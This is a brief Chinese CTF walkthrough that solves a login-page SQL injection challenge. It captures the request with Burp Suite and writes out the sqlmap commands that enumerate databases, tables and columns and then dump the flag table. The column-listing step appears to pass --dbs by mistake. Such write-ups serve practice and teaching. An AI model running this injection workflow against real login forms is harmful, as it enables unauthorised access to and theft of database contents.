根據url提示是讓sql注入，但萬能密碼又無效，這裡我們用sqlmap+bp來解題。

首先輸入使用者密碼來登入用bp抓包：

 如圖將其儲存到txt檔案中，然後用SQLmap來注入

輸入命令暴庫：sqlmap.py -r "1.txt" -p admin_name --dbs（我將1.txt和sqlmap儲存在同一個資料夾下了）

-p為注入點，就是admin_name ;r為讀檔案

會發現出來兩個資料庫，而我們需要的是bugkusql1，

然後暴表：sqlmap.py -r "1.txt" -D bugkusql1 -p admin_name --tables

爆出了flag1表，

然後爆列名：sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --dbs

爆出了flag1列

然後爆欄位：sqlmap.py -r "1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

就拿到flag了。